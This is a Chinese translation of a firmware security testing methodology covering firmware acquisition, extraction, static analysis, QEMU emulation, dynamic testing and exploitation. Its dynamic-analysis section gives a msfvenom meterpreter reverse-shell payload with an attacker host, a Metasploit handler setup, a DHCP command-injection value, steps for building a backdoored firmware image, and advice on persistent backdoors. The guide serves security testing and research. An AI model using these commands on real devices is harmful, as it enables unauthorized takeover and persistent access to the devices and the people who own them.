导语:无论是公网连接还是独立网络,固件都是控制嵌入式设备的核心。因此,必须要了解如何分析固件以执行未授权的功能。要开始进行安全测试和固件逆向,在即将进行评估时,请使用以下方法作为指导。
无论是公网连接还是独立网络,固件都是控制嵌入式设备的核心。因此,必须要了解如何分析固件以执行未授权的功能。要开始进行安全测试和固件逆向,在即将进行评估时,请使用以下方法作为指导。该方法包括九个阶段,旨在使安全研究人员,软件开发人员和信息安全专业人员能够进行固件安全测试研究。
以下各节将在适用的情况下通过支持示例进一步详细介绍每个阶段。
原文报告如下:
https://scriptingxss.gitbook.io/firmware-security-testing-methodology/
可以通过以下链接下载Ubuntu虚拟机(EmbedOS),其中包含在本文档中使用的固件测试工具。有关EmbedOS工具的详细信息,可以在以下存储库https://github.com/scriptingxss/EmbedOS中的 GitHub上找到。
https://tinyurl.com/EmbedOS-2020 https://github.com/scriptingxss/EmbedOS
0x01 信息收集
在此阶段,收集有关目标的尽可能多的信息,以了解其基础技术的总体组成。尝试收集以下内容:
· 支持的CPU架构
· 操作系统平台
· 引导程序配置信息(Bootloader configurations)
· 硬件原理图
· 数据表
· 代码行(LoC)估计
· 源代码存储库位置
· 第三方组件
· 开源许可证(例如GPL)
· 更新日志
· FCC ID
· 设计和数据流程图
· 威胁模型
· 以前的渗透测试漏洞报告
· 漏洞平台放出的漏洞(例如BugCrowd或HackerOne)
上面列出的信息应在安全测试工作之前收集好,确保利用内部产品线开发团队来获取准确和最新的数据。了解应用的安全控制以及项目资料,已知的安全问题以及与漏洞有关的信息。
在可能的情况下,使用开源情报(OSINT)工具和技术来获取数据。如果使用开源软件,需要下载存储库,并根据代码库执行手动和自动静态分析。有时,开源软件已经使用了提供扫描结果的供应商提供的免费静态分析工具,例如Coverity Scan和Semmle的LGTM。例如,下面的截图显示了Das U-Boot在Coverity Scan中的信息摘要。
https://scan.coverity.com/ http://www.denx.de/wiki/U-Boot/WebHome
图片:U-Boot覆盖率扫描
图片:U-Boot覆盖率扫描分析
以下是LGTM在Dropbear的分析结果截图。
https://github.com/mkj/dropbear
图片:LGTM Dropbear分析
图片:LGTM Dropbear分析结果
掌握了这些信息后,应进行威胁建模,以分析出攻击面和影响范围。
0x02 获取固件
要开始查看固件内容,必须获取固件映像文件。尝试使用以下一种或多种方法获取固件内容:
· 直接从开发团队,制造商和供应商或客户那里获取
· 使用制造商提供的说明文件从头开始编译
· 从供应商的支持站点下载
· 针对文件扩展名和文件共享平台(例如Dropbox,Box和Google驱动器)进行Google dork查询
· 通常,用户会将固件内容上传到论坛,博客或在与制造商联系以解决问题并通过zip或flash驱动器获得固件的网站上申请固件。
· 更新时做中间人(MITM)固件流量截获
· 从暴露的云提供商存储(例如Amazon Web Services(AWS)S3)下载Build版本
· 通过UART,JTAG,PICit等直接从硬件中提取
· 嗅探硬件组件内的串行通信以更新服务器请求
· 通过移动应用程序内的硬编码端点获得固件
· 将固件从引导加载程序(例如U-boot)转储到flash或通过tftp网络转储
· 从板子上拆下flash芯片(例如SPI)或MCU,以进行离线分析和数据提取(LAST RESORT)。
· 需要受支持的芯片编程器来存储flash和MCU。
列出的每种方法的难度各不相同,根据项目目标和参与规则选择适当的方法。如果可能,需要拿到固件的调试版本和发布版本,以在发布版本中编译调试代码或功能时最大程度地覆盖测试用例。
0x03 分析固件
获取固件映像后,查看文件以识别其特征。使用以下步骤分析固件文件类型,root文件系统元数据,并进一步了解其编译平台。
例如利用binutils:
file strings strings -n5 binwalk hexdump -C -n 512 > hexdump.out hexdump -C | head # might find signatures in header
如果以上方法均未提供有用的数据,则可能会发生以下情况:
· 文件可能是BareMetal(没有配置文件系统)
· 文件可能用于自定义文件系统的实时操作系统(RTOS)平台
· 二文件可能已加密
如果文件加密了,使用binwalk使用以下命令检查熵:
$ binwalk -E
低熵=不太可能被加密
高熵=可能已加密(或以某种方式压缩)。
也可以使用Binvis在线和应用程序。
· Binvis
· https://code.google.com/archive/p/binvis/
0x04 提取文件系统
此阶段涉及查看固件内部并解析相关文件系统数据,以识别尽可能多的潜在安全问题。使用以下步骤提取固件内容,以检查以下阶段中使用的未编译代码和设备配置,自动和手动提取方法如下所示。
1. 使用以下工具和方法来提取文件系统内容:
$ binwalk -ev
文件将被提取到_binaryname/filesystemtype/
文件系统类型:squashfs,ubifs,romfs,rootfs,jffs2,yaffs2,cramfs,initramfs
有时,binwalk的签名中不会包含文件系统的Magic字节。在这些情况下,请使用binwalk查找文件系统的偏移量,然后从文件中分割压缩的文件系统,并使用以下步骤根据其类型手动提取文件系统。
$ binwalk DIR850L_REVB.bin
运行以下dd命令查看Squashfs文件系统。
dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs # or
也可以运行以下命令。
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
在上面的示例中使用:
$ unsquashfs dir.squashfs
之后文件将位于squashfs-root目录中。
CPIO存档文件:
$ cpio -ivd --no-absolute-filenames -F
jffs2文件系统:
$ jefferson rootfsfile.jffs2
对于具有NAND闪存的ubifs文件系统:
$ ubireader_extract_images -u UBI -s $ ubidump.py
0x05 分析文件系统
在此阶段,将收集有关动态和运行时分析阶段的线索。研究目标固件是否包含以下内容:
· 传统的不安全网络守护程序,例如telnetd(有时会伪装重命名文件)
· 硬编码的凭证(用户名,密码,API密钥,SSH密钥和后门变体)
· 硬编码的API端点和后端服务器详细信息
· 可用作入口点的服务器更新函数
· 查看未编译的代码并启动脚本执行远程代码
· 提取已编译的文件,以供使用反汇编程序进行脱机分析以供将来使用
手动静态分析文件系统内容和未编译的代码,或利用诸如Firmwalker之类的自动化工具来分析以下内容:
· etc / shadow和etc / passwd
· 列出etc / ssl目录
· 搜索与SSL相关的文件,例如.pem,.crt等。
· 搜索配置文件
· 寻找脚本文件
· 搜索其他.bin文件
· 查找诸如admin,password,remote,AWS key等关键字。
· 搜索物联网设备上使用的通用Web服务器
· 搜索常见的文件,例如ssh,tftp,dropbear等。
· 搜索禁止的C函数
· 搜索常见的命令注入易受攻击的函数
· 搜索URL,电子邮件地址和IP地址
以下小节介绍了开源自动固件分析工具。
Firmwalker工具
在〜/ tools / firmwalker的目录中执行firmwalker,并将firmwalker指向提取的文件系统根目录的绝对路径。Firmwalker使用“ / data /”目录中的信息来解析规则,可以在GitHub上的https://github.com/scriptingxss/firmwalker上找到由Aaron Guzman修改并带有其他检查的自定义版本。
https://github.com/OWASP/IoTGoat https://github.com/OWASP/IoTGoat
在OWASP的IoTGoat上使用的firmwalker文件末尾的部分中列出了存在漏洞的固件。
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
请参阅下面的firmwalker输出。
将生成两个文件,firmwalker.txt和firmwalkerappsec.txt,这些输出文件需要手动检查。
固件分析工具包(FACT)
可以使用多种开源自动固件分析工具,FACT功能包括以下内容:
· 标识软件组件(例如操作系统,CPU体系结构和第三方组件)及其关联的版本信息
· 从映像中提取固件文件系统
· 检测证书和私钥
· 检测通用漏洞CWE
· 基于签名的漏洞检测
· 基本静态行为分析
· 固件版本和文件差异比较
· 使用QEMU的文件系统的用户模式仿真
· 检测二进制缓解措施,例如NX,DEP,ASLR,stack canaries,RELRO和FORTIFY_SOURCE
· REST API
以下是在配套的虚拟机中使用固件分析比较工具包的说明。
https://tinyurl.com/EmbedOS-2019 建议使用具有16核64GB RAM的计算机运行FACT,尽管该工具可以至少4核和8GB RAM运行,但是非常慢;扫描输出结果取决于分配给虚拟机的资源。资源越多,FACT将完成扫描提交的速度越快。
$ cd〜/ tools / FACT_core / $ sudo ./start_all_installed_fact_components
在浏览器中导航到http://127.0.0.1:5000
图片:FACT
将固件组件上传到FACT进行分析,在下面的截图中,带有root文件系统的完整固件将被上传和分析。
图片:FACT上传
根据提供给FACT的硬件资源,分析结果将在给定时间随扫描结果一起显示。
图片:FACT IoTGoat
图片:FACT IoTGoat漏洞缓解措施
使用IDA Pro,Ghidra,Hopper,Capstone或Binary Ninja从FACT收集的数据来分解可疑目标文件。分析文件以查找潜在的远程代码执行系统调用,字符串,函数列表,内存损坏漏洞,并标识对system()或类似函数的外部调用。
以下截图显示了使用Ghidra分析的“ shellback”文件。
图片:Shellback Ghidra分析
常见的二进制分析包括以下内容:
· 启用或禁用stack canaries
· $ readelf -aW bin/*| grep stack_chk_fail
· $ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail
· 启用或禁用与位置无关的可执行文件(PIE)
· $ readelf --syms
· $ nm
· $ readelf -d
· $ readelf -h
· $ readelf -h
· 禁用PIE
· 启用PIE
· DSO
· 符号
· 可识别的字符串
· -el 指定16位宽的小端字符(例如UTF-16)。
· -eb使用大端
· 将任何大于16的ASCII字符串打印到stdout
· -t返回文件中字符串的偏移量。
· -tx将以十六进制格式返回,-td T-to以八进制和十进制表示
· 用十六进制编辑器进行交叉引用很有用,或者想知道字符串在文件中的位置。
· strings -n5
· strings -el
· strings -n16
· strings -tx
· 启用或禁用不可执行(NX)
· $ readelf -lW bin/
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
“ E”表示堆栈是可执行的。
execstack bin/* bin/ash bin/busybox
· 重定位只读(RELRO)配置
· $ readelf -d binary | grep GNU_RELRO
· $ readelf -d binary | grep BIND_NOW
· 完整的RELRO:
· 部分RELRO:
自动检查上述许多二进制属性的脚本是checksec.sh。下面是使用脚本的两个示例。
./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
图片:Checksec.sh
0x06 固件仿真
使用前面步骤中确定的详细信息和线索,需要模拟固件及其文件以验证潜在的漏洞。为了完成仿真固件,下面列出了几种方法。
1. 部分仿真(用户空间)-仿真从固件提取的文件系统(例如)获得的/usr/bin/shellback独立文件
2. 完整的系统仿真-完整的固件仿真和利用伪造的NVRAM启动配置。
3. 使用真实设备或虚拟机进行仿真-有时,由于硬件或体系结构的依赖性,部分或全部仿真可能无法正常工作。如果架构和字节序与拥有的设备(例如树莓派)匹配,则可以将根文件系统或特定文件传输到该设备以进行进一步测试。此方法还适用于使用与目标相同的体系结构和字节序的Build虚拟机。
用户模式仿真
要开始部分仿真文件,必须了解CPU架构和字节序,以便在以下步骤中选择适当的QEMU仿真文件。
$ binwalk -Y $ readelf -h
el 代表: little endian ,eb 代表:big endian
可使用以下命令,使用Binwalk识别打包的固件文件(不是来自提取的固件中的文件)的字节序。
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov 十进制十六进制描述 -------------------------------------------------- ------------------------------ 3480 0xD98 ARM可执行代码,32位,小端字节序。
确定了CPU的体系结构和字节序后,找到适当的QEMU文件以执行部分仿真(不是用于仿真完整的固件,而是用于提取固件的文件。)
/usr/local/qemu-arch` 或者 `/usr/bin/qemu-arch
将适用的QEMU文件复制到提取的根文件系统中。第二个命令显示将静态QEMU文件复制到ZSH shell中的提取的根文件系统,该文件会显示绝对路径。
> cp / usr / local / qemu-arch / extractedrootFS / /home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root > cp / usr / bin / qemu-arm-static。
执行ARM文件(或适当的体系结构)以使用QEMU和chroot通过以下命令进行仿真:
$ sudo chroot . ./qemu-arch
以下示例显示在攻击者计算机可能使用的典型x64体系结构中模拟的Busybox。
> sudo chroot。./qemu-arm-static bin / busybox ls embedos[sudo]password: bin rom sys var dev lib proc root tmp www dnsmasq_setup.sh mnt qemu-arm-static sbin usr
下面是模拟在端口5515上侦听服务的示例。
> sudo chroot。./qemu-arm-static usr / bin / shellback
在另一个终端中,检查服务是否在本地侦听,然后尝试连接到该服务。
sudo lsof -i:5515 nc -nv 127.0.0.1 5515 sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="POST" -E REQUEST_URI= -E REMOTE_ADDR= -E HTTP_COOKIE= -g
模拟目标文件后,与其解释器或侦听服务进行交互,Fuzz其应用程序和网络接口。
全系统仿真
使用Firmadyne固件分析工具包或ARM-X固件仿真框架等自动化工具来执行固件的完整仿真。这些工具实质上是QEMU和其他环境功能(例如nvram)的包装器。
· https://github.com/attify/firmware-analysis-toolkit
· https://github.com/therealsaumil/armx/
· https://github.com/firmadyne/firmadyne
使用固件分析工具包,只需执行以下命令:
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0 __ _ / _ | | | | | _ __ _ | | _ | _ | / _ | | | __ | | | | (_ | | | | _ | _ | \ __,_ | \ __ | BusyBox v1.28.4()shell(ash) .--,\\\ __ ██████╗██╗██╗█████╗███████████████╗`-。a` -.__ ██╔═══██╗██║██║██╔══██╗██╔════╝██╔══██╗| ') ██║██║██║█╗██║███████║███████████████╔╝/ \ _.-'-,`; ██║██║██║███╗██║██╔══██║╚════██║██╔═══╝/ | {/ ██████╔╝╚███╔███╔╝██║██║███████║██║/ | {/ ╚═╝╚══════╝╚═╝..-“``〜”-'; ) ╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐;' ` ║││║╦││├─┤│;' ` '─┘┴┴;' ` -------------------------------------------------- ----------;' GitHub:https://github.com/OWASP/IoTGoat -------------------------------------------------- ---------- root @ IoTGoat:/#
如果固件包含不常见的压缩,文件系统或不支持的体系结构,则可能需要修改这些工具。
0x07 动态分析
在此阶段,请在设备在其正常或仿真环境中运行时执行动态测试。此阶段的目标可能会因项目和访问级别而异。通常,涉及修改引导程序配置,Web和API测试,Fuzz(网络和应用程序服务),以及使用各种工具集进行主动扫描以获取root访问权限或代码执行。
可能用到的工具:
· Burp Suite
· OWASP ZAP
· Commix
· Fuzzers such as - American fuzzy loop (AFL)、
· Network and protocol fuzzers such as – Mutiny, boofuzz, and kitty
· Nmap
· NCrack
· metasploit
Web应用测试
以下是嵌入式设备的Web应用程序中要检查的特定区域:
· 诊断和故障排除页面可能存在命令注入
· 验证和授权方案对整个固件中的应用程序和操作系统平台的相同框架进行验证
· 默认的用户名、密码
· 在网页执行目录遍历或文件读取,以识别调试或测试功能
· 在 SOAP/xml 和 API 传输中的输入检查 ,如:XSS 和 XXE
· 跟踪观察应用程序中的参数查看异常点和堆栈溢出点
· 针对常见的C / C ++漏洞针对嵌入式Web应用程序服务量身定做目标payload,例如内存损坏漏洞,格式字符串漏洞和整数溢出。
根据产品及其应用程序界面的不同,测试用例也会有所不同。
引导加载程序测试
修改设备启动和引导加载程序(例如U-boot)时,请尝试以下操作:
· 尝试在引导过程中按“ 0”,空格或其他标识的“Magic code”来访问引导程序解释器shell。
· 修改配置以执行shell命令,例如在引导参数末尾添加' 'init=/bin/sh
· #printenv
· #setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3
· mtdparts=sflash:
· #saveenv
· #boot
· 设置一个tftp服务器,从工作站本地通过网络加载,确保设备具有网络访问权限。
· #setenv ipaddr 192.168.2.2 #local IP of the device
· #setenv serverip 192.168.2.1 #tftp server IP
· #saveenv
· #reset
· #ping 192.168.2.1 #check if network access is available
· #tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server
· 使用写uboot修改的固件来获得rootubootwrite.py
· 检查启用的调试功能,例如:
· 详细记录
· 加载任意内核
· 从不受信任的来源引导
· 使用警告:将一个引脚接地,观察设备启动顺序,在内核解压缩之前,将接地引脚短路/连接到SPI闪存芯片上的数据引脚(DO)
· 将一个引脚接地,观察设备启动顺序,在内核解压缩之前,在U-boot对UBI映像解压缩时,将接地引脚短路/连接至NAND闪存芯片的引脚8和9。
· 在短接引脚之前请查看NAND闪存芯片的数据表
· 使用恶意参数配置恶意DHCP服务器作为设备在PXE引导期间提取的输入
· 使用Metasploit(MSF)DHCP辅助服务器,并使用命令注入命令修改FILENAME``‘a";/bin/sh;#’参数,例如测试设备启动过程的输入验证。
固件完整性测试
尝试上传自定义固件和编译的文件,以检查完整性或签名验证漏洞。例如,使用以下步骤编译在启动时启动的后门绑定shell。
1. 使用固件修改包(FMK)提取固件;
2. 确定目标固件架构和字节序;
3. 使用BuildrootBuild交叉编译器或使用适合环境的其他方法;
4. 使用交叉编译器Build后门;
5. 将后门复制到解压缩的固件/ usr / bin中;
6. 将适当的QEMU文件复制到提取的固件rootfs;
7. 使用chroot和QEMU模拟后门;
8. 通过netcat连接到后门;
9. 从提取的固件rootfs中删除QEMU文件;
10. 用FMK重新包装修改后的固件;
11. 通过使用固件分析工具包(FAT)进行仿真并使用netcat连接到目标后门IP和端口来测试后门固件。
如果已经通过动态分析,引导加载程序操纵或硬件安全测试手段获得了root shell,尝试执行预编译的恶意文件,例如植入程序或反向shell。使用用于命令和控制(C&C)框架的自动化有效载荷/植入工具。例如,可以使用以下步骤来利用Metasploit框架和msfvenom。
1. 确定目标固件架构和字节序
2. 使用指定适当的目标负载(-p),攻击者主机IP(LHOST =),侦听端口号(LPORT =)文件类型(-f),编译(--arch),平台(--platform Linux或Windows)和输出文件(-o)。例如,msfvenom``msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
3. 将有效负载传到受感染的设备(例如,运行本地Web服务器,并将有效负载wget / curl到文件系统),并确保有效负载具有执行权限
4. 准备Metasploit以处理传入的请求。例如,使用msfconsole启动Metasploit,然后根据上述有效负载使用以下设置:use exploit / multi / handler,
· set payload linux/armle/meterpreter_reverse_tcp
· set LHOST 192.168.1.245 #attacker host IP
· set LPORT 445 #can be any unused port
· set ExitOnSession false
· exploit -j -z
· 在受感染的设备上执行meterpreter反向shell
· 查看 meterpreter sessions
· 后渗透攻击
最后,尽可能的在启动脚本中设置对设备持久访问的后门,保证重新启动后也有设备的访问控制权
0x08 运行时分析
运行时分析涉及在设备在其正常或仿真环境中运行时附加到正在运行的进程或文件。下面提供了基本的运行时分析步骤:
1. sudo chroot . ./qemu-arch -L。
2. 附加gdb-multiarch或使用IDA模拟文件。
3. 为步骤4中识别的函数设置断点,例如memcpy,strncpy,strcmp等。
4. 使用Fuzzer执行较大的payload字符串挖掘溢出或进程崩溃。
5. 如果发现漏洞,请移至步骤8。
会用到的工具:
· gdb-multiarch
· Peda
· Frida
· ptrace
· strace
· IDA Pro
· Ghidra
· Binary Ninja
· Hopper
0x09 漏洞利用
在从之前的步骤中识别出文件中的漏洞之后,需要适当的概念验证(PoC)来证明现实的影响和风险。开发漏洞利用代码需要具有较低级语言(例如ASM,C / C ++,shellcode等)的编程经验,以及特定目标体系结构(例如MIPS,ARM,x86等)中的背景知识,PoC代码涉及通过控制内存中的指令在设备或应用程序上获得任意执行。
在嵌入式系统中通常不存在二进制运行时保护(例如NX,DEP,ASLR等),需要ROP技术来绕过。ROP允许攻击者通过链接目标进程/二进制代码(称为gadget)中的现有代码来实施任意恶意功能,需要采取步骤来利用已识别的漏洞,例如通过形成ROP链来利用缓冲区溢出漏洞。
可以使用Capstone的gadget查找器或ROPGadget- · https://github.com/JonathanSalwan/ROPgadget:
· https://azeria-labs.com/writing-arm-shellcode/
· https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/
0x10 固件分析工具
下面列出的是常用工具:
· 固件分析比较工具包(FACT)
· Binwalk
· FLASHROM
· openocd
· angr
· CHIPSEC
· triton框架
0x11 固件靶机
用于练习的固件漏洞项目
· OWASP IoTGoat
· https://github.com/OWASP/IoTGoat
· 漏洞路由器固件靶机
· https://github.com/praetorian-code/DVRF
· 漏洞ARM路由器(DVAR)
· https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html
· ARM-X
· https://github.com/therealsaumil/armx#downloads
· Azeria Labs VM 2.0
本文翻译自:https://scriptingxss.gitbook.io/firmware-security-testing-methodology/如若转载,请注明原文地址: